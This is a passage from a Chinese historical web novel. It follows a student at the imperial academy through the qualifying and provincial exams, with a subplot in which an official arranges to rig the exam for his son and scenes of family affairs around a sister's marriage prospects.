方觉却不见多少欢喜,跪在地上恳求道:“就当是儿子忤逆,求父亲不要求这门婚事,为阿留聘小门小户之女就很好,日后也过安生日子。” 方克城嗔道:“你真是不知死活了,想来都是王爷不要你们,还轮得到你们对着郡主挑三拣四?难不成还要和郡主摆公爹架势?” 方觉叩首:“家中郡主、县主何其多?儿子又何苦摆什么公爹的派头?只是端王和旁的王爷不一样。如今皇上圣心未定,誉王为长子,端王有中宫养育,肃王最为得宠,三个王爷均有立储的可能,可现在形式不明,和哪一个王爷有了牵连都是风险重重,这才是儿子屡屡叫阿留死心的缘故。” “盛极而衰,我们方家已经昌盛了太久,也是时候急流勇退。虽说中宫在内,但只要能安分守己,做一个纯臣忠臣,待日后新皇上位,方家人才济济,还怕无再盛之日吗?儿子以为还是不要和这些王爷有牵连,也不要争什么从龙之功。” 一席话,把方克城挺直的脊梁都说得颓了,苦笑道:“你也是快四十岁的人了,当了十几年的官,怎么还是……礼部到底是风平浪静的地方,把你养得人事不知。” 方克城花白的头发在晃悠悠的烛火下闪耀,眸子中的光明明灭灭,意味深长道:“你以为你父亲不想急流勇退吗?若是能,我第一个不掺和这些事……可事实是,你想退,身后是万丈深渊,划桨的手稍一卸力就会连人带船摔一个粉身碎骨。” 方觉反驳道:“可我方家之前从未掺和过立储一事,在朝廷中不也是举足轻重?” “那是因为我方家出了几任中宫,立嫡立长,哪一个太子没留着我方家的血!太祖皇帝的章成皇后是我方家的女子,嫡长子为太宗皇帝,太宗皇帝之中宫虽不是方家女,可章成皇后为太宗皇帝之嫡长子聘了方家女为太子妃,就这么隔一辈出一任皇后,这才不用参与立储一事。” 方克城把方觉叫起来,语重心长道:“可现在不成了,当今元后早逝,你姑姑才从贵妃做了皇后。太后为先太子聘了你的堂姐妹,谁知道先太子不争气,自戕没了,留下孤儿寡母被养在宫中,实为圈禁。若是不赌一把,日后新皇自有他的亲信。” 方觉瞳孔微震,喃喃道:“难道就不能做一个纯臣吗?不能只忠于皇帝,只听皇帝的话吗?” 方克城摇摇头:“若旁人家还有可能,但方家太大了,世代公卿,一门出两个一等公,其余爵位更多。现在总共四个内阁大学士,你老子和你二叔就占了两个。若其他人登基,咱们势必会碍了新主亲信的眼,更何况方家也不是全然干净,说不得昨日的杨家就是明日的方家。” 方觉站到父亲身后捏肩捶背,虚心求教:“儿子愚钝,迎郡主入门后是不是要跟定端王了。” 方克城打一个哈欠,把灯罩抬起挑了挑灯芯,让儿子来到身前,“若我们要迎郡主,皇帝还会把咱们家的女孩儿嫁给其他皇子皇孙,他年纪大了,不会屈了哪一个儿子,也不会平白给哪一个儿子增实 力。” “那我们现在怎么办?” “娶妇嫁女,一切如常。我们方家这样的家族,什么时候入场都不算晚,待事情明了些再说吧。” 方觉却有些不忍:“我们不跟着端王,姑姑怎么办?” 他话里的姑姑就是中宫皇后娘娘,方克城一脸冷漠:“她是中宫皇后,便是咱们家败了她照样是皇太后,何必杞人忧天?咱们现在要做的就是全然听皇帝的,跟每一个王爷都亲近,也跟每一个王爷都不亲近,等着好入场的时候再入场。” 第52章 052乡试录科 寒来暑往,薄青衫换成了厚重的棉衣,段之缙十一月份的大课终于列上一等,方叙墨的成绩也稳定在二等。端王言而有信,赶在年前求了赐婚圣旨,圣上于除夕宫宴上说定这门亲事,又为誉王的嫡长子纪攸珩聘了方克池的孙女。 方克池正是方克城的二弟。 崇德二十年便这样无知无觉地过去了,崇德二十一年伴着大年初一日震耳欲聋的鞭炮声到来。 方叙墨得偿所愿,却丝毫没有放松,年后仍按照以往的作息刻苦学习。不说别的,起码不能叫人笑话郡主嫁给草包,丢了郡主的脸面。 国子监想要走科举之途的学生也都学得废寝忘食,原因无他,今年逢卯年,三月份要在国子监进行录科考试,录送八月秋闱的考生。 初六,助教大人特意在讲课前说了这件事。 “三月十五日大课改为录科考试,应顺天府乡试者均要到国子监应试,六堂做考场。你们仍在博士厅应试。” 一位名为刘查的同窗起身问道:“先生,若我等不想参加乡试,便不必录科了吧?” 助教大人蹙眉:“今年朝廷的新规,国子监学生必须参加乡试录科,不参与者有惩。”又看着刘查道:“虽说你们也算正途出身,可也不能全指望着廷试,国子监大多数人还是要走科举之途的。” 刘查悻悻坐下,其父为内阁大学士刘玳廷,上头还有一个兄长顶立门户,早早就入了工部为官,就把国子监的学额给了这个幺儿。 乡试,和这些不争气的纨绔子弟有什么关系啊,偏偏非要人家去录科。 助教瞧众人神色各异,警告一声:“不要以为录科能糊弄过去,不求你们人人都能录送乡试,但求你们无愧于自己。剩下的两个月好生复习,三月十五日做四书文二,经文一,当日交上。此次录科,贡生二等可录乡试,监生一等可录乡试。” 语罢,又恨铁不成钢道:“争些气,就算不指望着科举考试为官,好歹不要损了你们父祖的威名。”这话便明显是和刘查等人说的了。 因为上边朝廷的命令压着,无论是有才无才,是否指望科举入仕,学生们都热火朝天地学了起来,准备三月份的录科考试。到二月的大课成绩下来的时候,段之缙已经稳定在一等,方叙墨也进过一次一等,但大家都是没有秀才功名的监生,后者想要录科,还是有些困难了。 …… 三月,天气转暖,万物竞发,士子们青衫下藏着一身薄棉衣,乘着清晨朦朦胧胧的光于十五日从国子监集贤门鱼贯而入,远远望去如一弯青河,分支汇入六堂中,国子监的学生们也早早坐进了博士厅。 进了国子监,还是要按照国子监的规矩来,钟响,发题。 四书文二,一道单句题,题为:“君子不器”,语出《论语为政》。 朱熹在《论语集注》中说:“器者,各适其用而不能相通。成德之士,体无不具,故用无不周,非特为一才一艺而已。”意指器具各有其用,但是君子内在修养是全面的,因而才能也是全面的,段之缙思考一番,以“器为用,德为本”为主题,撰四书文一篇。 第二道题便有意思了,是一道截搭题,题为:“百姓皆以王为爱矣,是诚何心哉”。 两句皆出自《孟子梁惠王上》,讲齐宣王祭祀时以羊易牛,百姓认为王是吝啬,但孟子指出王是出于不忍之心。虽为同一篇文章中的圣贤之语,但两句并不相连,因而是一道截搭题。 如何破题?若强行将仁政与恻隐两者黏合,未免空泛说教,可若是完全抛开了原文另辟蹊径,则为割裂经义。 段之缙开始回忆此题的原文,笔尖一勾一画,在草纸上写下了“爱”、“不忍”、“本心”三个词汇。 爱为私情,不忍为仁心,本心则是天性。 那便以“本心”为线索,将“爱”与“不忍”串联起来。 段之缙提笔破题:“心者仁之端,爱者情之迹。百姓见其迹而昧其端,王心之不可测也。” 然后论述三者,主张“扩不忍而保四海”,暗合“保民而王”的儒家至理,而全篇亦扣住以羊易牛的具体情境,是为“不为古人添语,不令经典支离”。 第三题则是少见的《诗经》题,更罕见竟然是从《诗经》中出的截搭题,题为:“天生烝民,有物有则;关关雎鸠,在河之洲”,前句出自《诗经大雅烝民》,后句则出自《诗经周南关雎》,两句并无联系,也就是截搭题中的无情搭。 一讲天道,二讲礼法,天道为“理”,礼法则源于“理”。 段之缙以“礼法本于理”为纲,结合“发乎情,止乎礼义”之说,阐明人伦大义与“理”的关联,实则又是一篇“理一分殊”之论。 钟响,停笔,收卷。 等到国子监官员点卷完毕,外边六堂试卷也收齐,先叫其余应试人员出国子监,监生们才得以出博士厅。 大家考试一天,动了一天的脑子,饭也不得吃,中午送来的饭还摆在膳堂架子上,因而学生们晃晃悠悠前往膳堂,多少用些凉茶冷饭垫吧垫吧。 膳堂里闹哄哄,全是讨论试题的声音,监丞李文瀚坐在独属于他的位置上看书,仿若未闻。 段之缙先喝了一碗冷汤,这才上了些精神气,脸上血色充盈,戳戳大口啃饽饽的郑崑瑛道:“德润兄,你第二题如何破题?” 郑崑瑛一口清茶送下口中的食物,回忆一番说道:“心不可见,而于爱见之;爱不可诬,而于心白之。” 其他人私语一番,段之缙赞道:“这个好,朱子强调心统性情,此句心为体、爱为表,还能阐发教化百姓的道理。” 徐明宣点头:“前句尾‘见之’与后句首‘爱’字相钩,如榫卯紧扣,不见松散。” 几个人把自己的破题之法分享给同窗,虽不说尽善尽美,但也深合理意,起码可入一个中等。 但是若仅为中等,怕难以顺利乡试。 方叙墨出身和旁人不同,他家中两位中堂大人,端王又是他的未来岳父,因而总能探听到旁人探听不到的消息。 “我祖父说,这次录科不会很严格,起码国子监要多录。” 众人面面相觑,段之缙问道:“这是为何?” 方叙墨一边把碗里的姜丝挑出来,一边答道:“我祖父说,朝廷要国子监所有人参与考试的原因,就是因为国子监廷试选官者,于书、经两者有缺,是学风不昌的缘故,因而强迫录科以正学风,也算是激励监生们读书。而为了叫乡试的人多些,通过录科的人也会多些。” 他说着,声音突然小了下来,做贼一般四处张望,叫众人往身边凑,“等会儿我们一块儿去‘茶居’聚一聚,我有很重要的事情要同你们讲。” 茶居是国子监附近茶馆的名字,风雅之地,国子监学生们常去集会。 反正饭也吃得差不多了,几个人好奇心顿起 ,收拾了桌子就跟方叙墨去茶居,郑崑瑛只和段之缙相熟些,也不便跟着去,因而先行离开,剩下四个人一起去茶居,要了最顶上的雅间。 方叙墨带着众人进了屋子,鬼鬼祟祟关上门防人偷听,还叫众人凑到他的身边,声音压得极低,几乎是用气音说的。 “这一回顺天府乡试的解元,根本就是定了。” 段之缙大吃一惊:“这话从何说起啊?” “嗨,你不知道……国子监从先帝的时候,便再也没出过解元,陛下圣心烦忧,申斥了祭酒大人没有用心管教国子监诸生,又说这次顺天府乡试国子监最好能出解元,若是官宦子弟则更能激励诸生向上勤学,毕竟人家世卿世禄的都这般奋发向上了,寒门子弟更得刻苦用功。” 他这一暗示,大家懂得也全懂了。 圣上说了“最好”,底下的官员就得做到“必须”,圣上说官宦子弟更能激励诸生,则此次乡试解元定是官宦子弟。 方叙墨拖着脸蛋撑在桌上,轻哼一声:“率性堂里功课最好的就是葛观澜了,若无意外,他就是此次的解元。” 现在他和灵寿郡主的婚事已定,方家玩笑般说起了葛家求娶郡主的事情,加上之前刘鉴山一事,方叙墨更看葛观澜不顺眼,此时说起来就有些发恨。 段之缙讥诮道:“乡试倒成了朝廷装点门面的好法子了。”你国子监的学生读书不用功,坏了国学的名号不要紧,朝廷替你遮掩,赏给你们解元。 徐明宣却道:“既然要装点门面,恰恰说明我们此次中举的可能性很大!难道国子监只出一个葛观澜就能显出国学的好了吗?非也。定要百花齐放才能显出人才济济不是?” 他握着方叙墨的手鼓励道:“方弟一定要把握住这次机会,若是等到下次乡试,还不知会如何呢!” 徐明宣所言甚是,方叙墨备受鼓舞,在座的诸位也下定决心,拼他个昏天黑地,此次一定要中举。 这会儿,谁也不关心什么葛观澜了。 又闲聊了一阵,天也黑了,段之缙和众人告别回到家中,沈白蘋先问吃饭没有,得知丈夫已经用了晚饭,这才拿着安平来的书信上前,催他快看。 “上一次你不是写信说要乡试录科了吗?母亲放心不下,可那边四弟也急着聘妇,她脱不开身就叫姨娘带着连科奴来了!” 段之缙一愣,紧跟着担忧起来,展开信喋喋不休地抱怨:“姨娘一个妇道人家,怎么敢叫她只身上京?还有连科一只小猫儿,舟车劳顿容易生病,我来回了这么多次也没带着它……” 沈白蘋把底下的信纸抽到最上边,笑道:“快别念了,施家外公要北上走商,带着无数镖师,正好送姨娘来京,如何能遇险?这次还有周姨娘和云霓妹妹一起,母亲特意给你安排了任务……” 段之缙刚放下心,一目十行地看到了后边,终于知道这任务是什么了。 沈白蘋接着道:“妹妹今年也十五岁了,自出了孝母亲便为她相看人家,可到底是不如意。” 首一等,不能嫁到商户去,这一下便排除了许多王家的人脉。 第二等,要嫁给读书识礼的人家,这一回又排除了土地主。 第三等,一朝被蛇咬十年怕井绳,王虞断不会叫女儿嫁给寒门读书人。 按照王虞的想法,不求大富大贵,但也得家境殷实的读书人,可那样的读书人多早早定亲,或者心气高想着借岳父的势力更上一层楼,反而瞧不上没了爹不能带来助力的段云霓。 王虞想着段之缙在京里,同窗甚多,说不得有合适的未婚青年正好和段云霓凑上一对,便特意叫周姨娘和段云霓一块儿上京,自己先给段之绪定了亲便也上京操持。 她也是有其他的想法。 眼瞧着段之缙科举有望,日后说不定要扎根在京城,自己到底是跟着长子过日子,叫女儿嫁在京城也好看顾。便是日后外放也不要紧,自己不跟着儿子去,留在京里,诰命的身份也能替云霓丫头撑个腰。 段之缙愁眉苦脸,如今才真正体会到什么是长兄如父,婚事都要自己好生盯着。 可母亲对他的期望也太大了,他一个臭读书的,同窗尚认不全,还给妹妹找对象呢。 第53章 053舞弊 因着八月份就要考试,国子监的官员当月也不讲学了,集中精力阅卷,于四月初一日放了录科成绩,通过者甚多,率性堂全员皆得以乡试,诚信、修道两堂通过者过半。段之缙整一个号舍都获得了乡试的资格。 为了乡试,国子监调整了教学内容,以四书五经为主,课业也大幅度增加,每月大课都改为时文七篇,按照乡试的规矩进行。 段之缙虽不抱中解元的希望,可还盼望着中举,因而刻苦用功,又回到了每日睡两三个时辰的日子。结果秦先生却给他浇了一盆冷水。 这师生二人总是约好十六日相见,先生教学水平虽不如国子监正职博士、助教大人,但指导时文绰绰有余,段之缙便经常来开个小灶,理顺思路。今日四月十六日,正好将录科的事情告诉先生,求先生指点一番乡试。 段之缙提起了方叙墨探听的消息和徐明宣的推测,跟秦先生说道:“我觉得徐明宣说的在理,百花齐放才是春,说不得这次国子监的名额多呢?下几个月的苦功夫,定是能中举的。” 秦行翻看段之缙的功课,先指出了时文的不足,教导段之缙修改后才回答刚才的话。呷一口茶,摇摇头,“你知道分民卷和官卷吧?” “自然知道,官宦子弟和平民考生分卷考试,官宦子弟考官卷,平常考生考民卷,学生正是考官卷。先生何故问此?” 秦行哼笑一声,“圣主想要叫官卷中出一个解元装点官员们的脸面,只是科举惯例,官卷不点解元,今年强行点一个解元就要从旁的地方补偿人家。你们官卷中举名额是按照民卷来的,民卷中二十五卷,官卷可选一人。顺天府的解额一般是二百名左右,每年官卷也就出七八个,最多九人。今年分给国子监的解额确实多了,但是那是给民卷的,整个顺天府官卷只点六人。” “端王点了顺天府乡试的搜检王大臣,因而今年的顺天府录科名单我也看了,光国子监内能考乡试的荫生就有十一人,非国子监的官宦子弟也有近二十人,你自己估计一下,读书火候到了吗?” 段之缙抿唇静思。徐明宣素来是一等,自己比他还差一些,施秉文和自己水平差不多,剩下的荫生多是率性堂中的学长,定然是比自己强的。而国子监外的竞争者水平不明,未必比自己差。 可是自己不分日夜的读书,都是为了此次能够中举。 自家情况比德润兄、邹含章自然是强上不少,可段云霓没个父亲为她张罗,母亲长久没出过门,也不认识什么人家,云霓的婚事到底要靠着自己。若是此次得中,妹妹有个举人兄长,身价也高些,若是不能,自家还有个什么?连个爹也没有。 但官卷虽点的少,却也不是全无希望。段之缙想起了清代科举的一些惯例,决定兵行险招,左右这书中多按照清制来。 秦先生看着段之缙的眼神从焦虑迷茫一点点坚定起来,倍感欣慰,却不知这个胆子大的学生要在考场上干什么事情。 从次日起,段之缙回了国子监便闷头写时文,上午背书和经解,下午拿着《钦定四书文》练习时文写作,从一下午写六七篇一直写到半日做十来篇,众人都不知他意欲何为。 段之缙这边为了乡试废寝忘食,葛家也早早打算起来,全是为了葛观澜。 葛观澜这一生原本该是顺风顺水,誉王的三女,嫡妃所出,早早便封了嘉宁郡主,就等着及笄后嫁给葛观澜,叫一只金凤凰落到葛家来,谁知嫁妆都置办好了,好生生一个闺女就急病没了。 誉王是皇帝的亲子,为了全王爷的脸面,葛礼叫葛观澜为未婚妻守了一年妻孝,又向陛下求娶灵寿郡主。谁知陛下答应了,皇后娘娘横插一杠子,和端王一起把灵寿郡主的婚事捞到了自己手里。 本不是什么大事,葛观澜作为世家子弟中少有的文武双全的俊秀青年,虽说比郡主大了一些,可洁身自好,家里除了通房丫头连个侍妾 都没有,又难得适龄,想来兜兜转转,郡主还是要配给自家小子。 结果点背到这种程度,偏生就叫一块儿香饽饽落到了方家。 正经的龙子凤孙已经没有适龄的郡主了,葛观澜也二十多岁再拖不起,圣上给这个小子另赐了宗室女,只是到底不如郡主金贵。 不过虽然娶不到郡主,该替这个儿子谋算的东西也得谋算,葛礼在书房里嘱咐幺儿:“顺天府乡试正主考官是礼部尚书闻清远,副主考官是翰林院侍读学士史鉴。今年年头好,底下商量的结果是从国子监内出解元,父亲估量着除了你还有谁呢?但是保不准人外有人天外有天……” “那父亲的意思是?” 葛礼笑道:“乡试首场考四书文三篇,五经文四篇。为父今日指导指导你,第一篇时文破题用‘也’,承题用‘夫’,起讲用‘意谓’,大结用‘抑’。第二篇时文破题用‘焉’,起讲用‘若曰’,大结用‘大抵’……”葛礼将首场七篇时文的格式与儿子进行了详细的约定,这就是葛观澜能够得中解元的保证。 儿子的水平葛礼还是有信心的,必然能够被同考官推荐到主考官那里,只要主考官从荐卷中找到了这些写作的顺序,就知道卷子是谁的了,那时葛观澜必然能为解元。 葛观澜到底年轻些,做这种事情还是有些担忧,犹豫道:“父亲,两位考官真就与父亲如此交好,敢冒风险做这事吗?” 葛礼哈哈一笑:“天下熙熙皆为利来,天下攘攘皆为利往。自古无利不起早,闻清远的堂弟要从吏部调往户部了,史鉴的儿子就在户部做笔帖式,他们两个帮你就是帮了自己。” 再者,葛礼操作科举舞弊一事不是第一次了,熟能生巧,此次也是万无一失,毕竟连个查的证据也没有。更何况这次只给葛观澜一人操作,又有上头皇帝的旨意,能出什么问题? 大家互惠互利,也没什么不好意思的。 葛礼叫葛观澜到身前来,疼爱地抚一抚儿子的脸庞,叹道:“你是我快四十才有出来的儿子,上头最小的哥哥也大了你近二十岁,这么多孩子里边我最心疼你……为父日后如何也说不得了,只是放心不下你,无论如何也要给你挣一个光明前途。” 无论是婚姻大事,还是科举考试,葛观澜都该有最好的。 父子情深,母子之情更深,施姨娘、周姨娘和云霓妹妹都已经到京,段之缙特意请事假去城外接,几个人的气色都好,只是有些车马劳顿的疲倦。 一行人住回了原来的屋子,连科奴许久没见着段之缙也不认生,好大一只肥猫横冲直撞地往二爷身上扑,段之缙着急忙慌抱住,直坠得人胳膊疼。施姨娘望着儿子又哭又笑,怎么也止不住泪水。 晚上,大家合坐一桌用饭。 分隔一年多,却仿佛三秋不见,十五岁的少女亭亭玉立,在家中规矩学得极好,匙不碰碗,箸不击盘,食不出声,只是瞧着有些生疏,到底不是几年前被鬼脸吓得告状的女童。 段之缙没话找话,侧身问施姨娘:“姨娘可知四弟找了哪家女孩儿?” 施姨娘笑道:“自然是亲上加亲,娶的王氏女,从祖辈上看,绪儿还当唤一声表妹呢!你弟妹家里不甚富裕,人长得却好,又知书达礼,跟蘋儿一般会作诗,想来也能和和美美。” “那为何不等着成亲后一起进京?” 施姨娘回道:“你弟弟很有志气,说是读书再多也得落到实处,正好安平县令少了一个师爷,他便去了,没想到县令大人一下子就相中了他,现在一边读书一边当着师爷,听说替县令省了不少功夫。” 现在的读书人多的是“勤工俭学”的,且能早日接触基层的行政也是一件好事,段之缙赞了两句段之绪,又问道:“既然已经订好了人家,母亲不也快要进京了?” 可不是,在六月挑了一个好日子叫未婚夫妻成了亲,王虞赶在乡试前到京,只是段之缙在国子监内专心读书,直到八月初七日临时放假才回了家。 乡试于八月九日,十二日,十五日考三场,前一日进场,后一日出场,考试期间一切吃喝拉撒俱在考场之内,王虞自然也知道这个事情,还特意给他准备了吃食。 她在段之缙的考篮里用油纸包了一袋粉红色的粉,段之缙拆开一捻,凑在鼻下一闻,麦子的香气萦绕鼻尖,还有坚果的香气。 段之缙看着王虞又给他放了一只小瓷碗,问道:“母亲,这是什么?” “没冲开的油茶面,里边放了红糖、盐、芝麻、花生碎和松子碎,吃饭的时候倒点在碗里,问水夫要开水冲开就行。” 这确实比那面饼子好。 乡试搜检极为严格,干粮全给你搓成沫沫,段之缙自小爱洁,绝吃不下这样的东西。 王虞又给他揣了一个小铁漏,“到时候啊,你就用这个小铁漏筛给搜役们看,叫他们查明了里边没有夹带,然后吃干干净净的饭,省得肠胃不适。” 段之缙应下,几个娘一起上阵把整个考篮翻查一遍,确定笔墨砚台、裁纸刀、蜡烛、火折子和卷袋都备好了,又给儿子备了一块油布谨防下雨,带上了防蚊虫的草药包,这才催着他早些安寝,八月八日神清气爽地入场。 八月八,五鼓,考生入场。 同府试时一般,考场四面有人瞭望,一举一动俱在监视之中。 第一道关卡是搜查官率领兵丁先将考生的考篮打开,将里边的一应物品全都检查一遍,连笔杆末端的塞子都撬开,查看里边是否有夹带。段之缙所带的油茶面被细细筛了两边,这才被兵丁领往搜检房。 衣裳一层层解开,脱到只剩下里衣,两件外衫被一寸一寸地验看,确定没有字迹后又把里衣掀开,查看大腿、肚皮、腰侧、双臂等处有无抄写,最后方巾也被解下,头发丝披散开,搜检官来回揉弄,确保头发里没有夹带。 一切检查完毕,段之缙才被号军领进考场,入天字第八号号房,上书北皿第二十一号。 待周围的号房都坐满了考生,监试大人一声令下,号军将号房锁扣扣上,此时已经将近晌午。 水夫挨个号房送热水,段之缙就把油面茶倒在瓷碗中,胡乱吃了一顿。 未时整,一排排的兵丁举着木牌来回走动,上书科场场规,官吏紧随其后唱道:“一禁顾左盼右,二禁语响声扬;三禁窜号越位……” 同样的话来回倒腾了好几遍,一直到酉时水夫又来送水才停下,段之缙终于能补一会儿觉,子时之前醒来,上了一次茅房,这便安生呆在号房里边。 第二日卯时,锣响发卷。 第54章 054乡试与妹妹婚事 木槌撞击铜锣的声音还闱场内游荡,散卷官走来,挨个号房分发卷纸和草纸,新印的题纸散出桐油的气味,最右为卷纸的字号和段之缙的排号。 他伸手摸了摸洒下的朝晖,示题的时间也快到了,于是抓紧准备笔墨,从考篮中拿出琉璃瓶摇晃一番,将早已研好的墨水倾入砚台中,又用铜镇纸压平题纸,最后深深吐纳一番清晨略凉的空气,静坐等候示题。 考场里充斥着散卷官有序的脚步声,然后渐渐平息。 卷纸发完,天上的太阳也完全升起,阳光从士子们的手上移到脸庞,监试官的眼睛紧紧盯着场内的西洋挂钟,卯正三刻一到,立即脚步匆匆地去内场请示临监的端王。 辰时,又一声锣响,赞礼官一声长喝:“戊子科顺天府乡试,首场示题!”然后一声接着一声地传唱,声声渐远。 监试官亲拆朱漆木盘里的黄绫题封,从四书五经中出的二十三道时文题一次性公布,刚才温凉的阳光瞬间变得滚烫,段之缙后颈处滚下来一颗汗珠。 只有他自己知道这一场考试要干什么。 乡试的规矩,首场考四书文三,五经每经各出四题,士子各认一经,从辰时到子正时分八个半时辰,就写这七篇时文。 倘若按照朝廷的规制来,段之缙的竞争者有三十人左右,率性堂出的荫生就有六人,在国子监中呆了三年,比之他自然是强的。 但是这世上总有出人意料之事,在崇德皇帝最后一科乡试 中,有士子将五经题全写了,一日之内做时文二十三篇,其文虽不如何高深,但五经皆通也是本事,崇德皇帝怜惜他一日书两万余字,且文理明顺,将其授为举人。 便是真实历史上,清代也屡有卷王通过五经中元,未尝不是一种从量变到质变的过程。 这自然是有风险的,也说不得到底是按照规章来还是此法中举的可能性大。但若有人违规书二十三篇时文出来,哪怕是主考官也不能妄自决断,一定要层层上报,直达天听,最起码还能叫皇帝知道有一个名为段之缙的学子能一日之内书时文二十三篇。 倘若不能中举,后果也只是贴出警示罢了,并不耽误下一次的考试。 段之缙下定决心,深深吐一口气,在卷纸上写下“第一问”,这才凝神看第一道四书题。 第一题语出《论语子张》,“士见危致命”,意指君子在遇见危险时能够献出生命,强调的是献身精神。 此题不难,重点在于如何把献身和轻视生命的鲁莽之气分开,点出朱注的“致命犹言授命”,此“致命”要与“朝闻道,夕死可矣”的精神暗合。 笔尖舔过迎着太阳一片金亮的墨水,在草纸上列了几笔纲目,移到卷纸上,段之缙破题为:“士之致命非轻死也,尽性以全天理之正也”,腕子使力,一行行馆阁体工整立于卷纸上,比往日要小些,也要密些。 第二道为出自《中庸》的小题,“宽柔以教”,意指用包容和温和的方式去教化他人,陷阱就在于此句非为教育理念,而是子路问强中的内容,“宽柔以教”更像是以德报怨,强调心智上的坚韧和成熟。 此题更不难,段之缙挥笔成章。 若要谓难,第三道截搭题才算是难,题为:“授受不亲,子莫执中”。 前句出自《孟子离娄上》淳于髡问礼章,原句为“男女授受不亲,礼也”,指礼法大防。 后句出自《孟子尽心上》论中庸章,原句“子莫执中,执中为近之,执中无权,犹执一也”。 其文中所述子莫是战国时一位贤人,主张在杨朱的“为我”和墨子的“兼爱”之间寻求中道,也就近似儒家所说的中庸了。 段之缙盯着着两句搭在一起的话,笔梢挠挠头发,笔尖在砚台里蘸两蘸,抬起又放下,风轻轻吹过,一滴墨珠重重地坠下来,段之缙眼疾手快,用袖子接住了。 这可真是无情搭,无情到令人心寒。 但到底这几个月的时文没白练,倘若无情搭无破题的思路,那就先从朱注中找吧。 《四书章句集注》中说:“授受不亲,礼也;嫂溺援之以手者,权也。”段之缙将其卷写在草纸上,“权”之一字令人豁然开朗,《尽心上》中说“执中无权,犹执一也。”,看来考官是要考权变了。 提笔,破题,段之缙笔走龙蛇,写下一句:“执中而无权者,固守经而昧乎变也。夫授受岂可不亲?然当溺援之际,犹执中子莫之见,是胶柱鼓瑟之甚矣……” …… 太阳从正东方往正中间移动,日头愈发晒了,段之缙坐在硬木小凳上,除了手腕使力一动不动,眼睛里只有那一张张卷纸和数不尽的文字,袖口已经沾满了额角的汗。 间或听闻砰的一声,是考生晕倒,紧接着被号军抬了出去。 或许是天气太热,也或许是心里太热。 到晌午时,段之缙终于写完了七篇时文,还有整整十六篇,幸好他已经进入了应试的状态,脑子里翻滚的除了四书五经再无其他,审题自然是愈来愈快,写字的速度也越来越快。 一声锣响,水夫挑着滚烫的水出来,走到段之缙身前时他的笔还未停下,手指指着桌角的小空碗示意他倒水,再无其他的话。 周围的考生将干粮或是熟面放在碗里,示意水夫用开水冲泡一番,滚烫的液体浇在上边,粮食的香味瞬间激发,眼前似乎浮现出麦子在阳光和风里摇曳的场景,淡淡的面香气勾勾绕绕,像小手轻搔着鼻尖。 段之缙喉结滚动,袖口捂住鼻子奋笔疾书,他是不打算吃饭的。 号军走过段之缙的号房,虽好奇天字八号为何不吃饭,但仍尽忠职守来回巡逻。 陆陆续续的,大家也都吃完了饭,重拾毛笔开始撰文。 其实时间还不甚紧迫,毕竟现在太阳落得较晚,但没人想深更半夜再挑着灯写字,那时昏昏沉沉,恐也做不出什么好文章。 太阳渐渐西移,许久没吃饭,段之缙嘴唇白得像是啃了墙灰,脸色也不甚好,他算了算题目,发现还有十篇左右的样子,这才仰头喝了晌午那碗滚烫的水,现在已经凉透了。 稍微活动一下上身,脊背发出嘎吱嘎吱的叫声,像那久不推拉的木门被贸然推开时发出的惨叫声。又听得嘎嘣一声轻响,现在脖子也抗议了。 但段之缙不能歇,他还有一小半的文章没写,也就剩下不到四个时辰了,一定要在赶在子正时分写完。 太阳又往西边移动,洒下来血一样的余晖。 此时,即便是写的慢的士子也到了结尾的时候,段之缙见光暗了,吹了吹火折子点起蜡烛,仍是笔不停写。 再过一个时辰,天彻底黑下,四周笔尖摩擦纸张的声音也停下,唯有秋日里蟋蟀还在鸣叫,竟也不怕人,蹦到了段之缙的桌子上,灯火四周绕着一圈小飞虫,嗡嗡的,还有蚊子在耳边吵闹,叫人心里烦躁。 段之缙一个手写字,另一只手在考篮里摸来摸去,摸到驱虫的香囊,在桌子上放置一个,搂在怀中一个,却是没多大的用处,只吓走了那讨人厌的蟋蟀。 月亮高挂在空中,段之缙也不晓得时间,只能伴着此起彼伏的鼾声奋力写作,终于落下了最后一笔,最后将二十余篇时文翻阅一番,正巧锣响收卷。 受卷官收至段之缙处时先清点试题,查其卷纸上写有第二十三问,顿时目瞪口呆地看着号房里的学子,段之缙朝他尴尬一笑,又把卷纸往受卷官那边推了推。受卷官也只能默默不语地在《受卷簿》上书段之缙的姓名、座位号,封好卷子,这才将出场凭证发给段之缙,拿着卷子离开。 近两千人的考试,收卷便收了两个多时辰,等到所有试卷都清点查收完毕,号军们上前将栅门打开,士子们才迎着一缕缕朝阳的光走出闱场。 怨不得说那考试磨人,从八月初八到今天为止,段之缙仿佛蜕了一层皮下来,浑身的劲儿都卸了,两条腿打着晃被王章和琼香扶上马车,眼一闭就睡了过去。 等着醒过来的时候头昏眼花,忙喝了一碗浓糖水这才缓过些力气,就在屋里吃了些饭,身子一转又躺回床上去睡觉, 王虞知他疲累,特意吩咐了不许打扰,叫他一直睡到亥时再叫醒,先伺候着沐浴更衣再上马车,一定要轻轻爽爽地去考试才成。 …… 第二场考试为五言八韵试帖诗一首 ,论一篇,诏、诰、表各一道,判四条,试帖诗题为“春华秋实”,语出《后汉书崔骃传》“春发其华,秋收其实”。论出五经,判都是律例中较为常见的案件,诏、诰、表也是死背格式堆砌文字,出题中规中矩,比之首场相差甚远。 这也是乡、会试多以首场定名次的原因。 第三场考试正巧在八月十五中秋节的日子,各家各户都赏月吃月饼了,段之缙还苦哈哈地进闱场考试,家里人担忧他心里不平衡,哄着他“十五的月亮十六圆”,八月十六日的时候大家再聚在一起吃团圆饭才是真正的月圆人圆呢! 虽嘴上不说,心里却受用得紧,段之缙提着考篮于八月十四日进场,八月十五日连作五篇经史时务策。 锣响收卷,这一年的乡试正式落下了帷幕。 试卷全都清点完毕,弥封官将卷纸糊名并加盖弥封关防大印,送至誊录所。誊录官用朱笔誊抄出朱卷,戳上自己的衔名,这才送往对读所,让对读官校对朱卷和原卷,最后将朱卷送至内帘,同考官们就开始阅卷了。 那边的阅卷工作如火如荼,这边段家补上了昨日的中秋家宴,一家人饮酒作乐,有说不尽的话。 大家围桌而坐,许嬷嬷招呼小丫头将蒸蟹子送上来,混着桂花的香甜,原来是久酿的桂花酒开了封。 王虞先动筷子将一个蟹子送到丫头盘里,丫头纤纤十指灵巧得很,摆弄着蟹八件就把蟹肉全拆了出来,用蟹壳装着浇上姜醋,送到段之缙跟前,王虞催着他吃:“今年阳澄湖的蟹子格外肥,一拆盖蟹黄都要溢出来了。” 小勺子舀一点送入口中,果然鲜美。 沈白蘋又给众人倒桂花酒,还劝着妹妹饮了一杯。 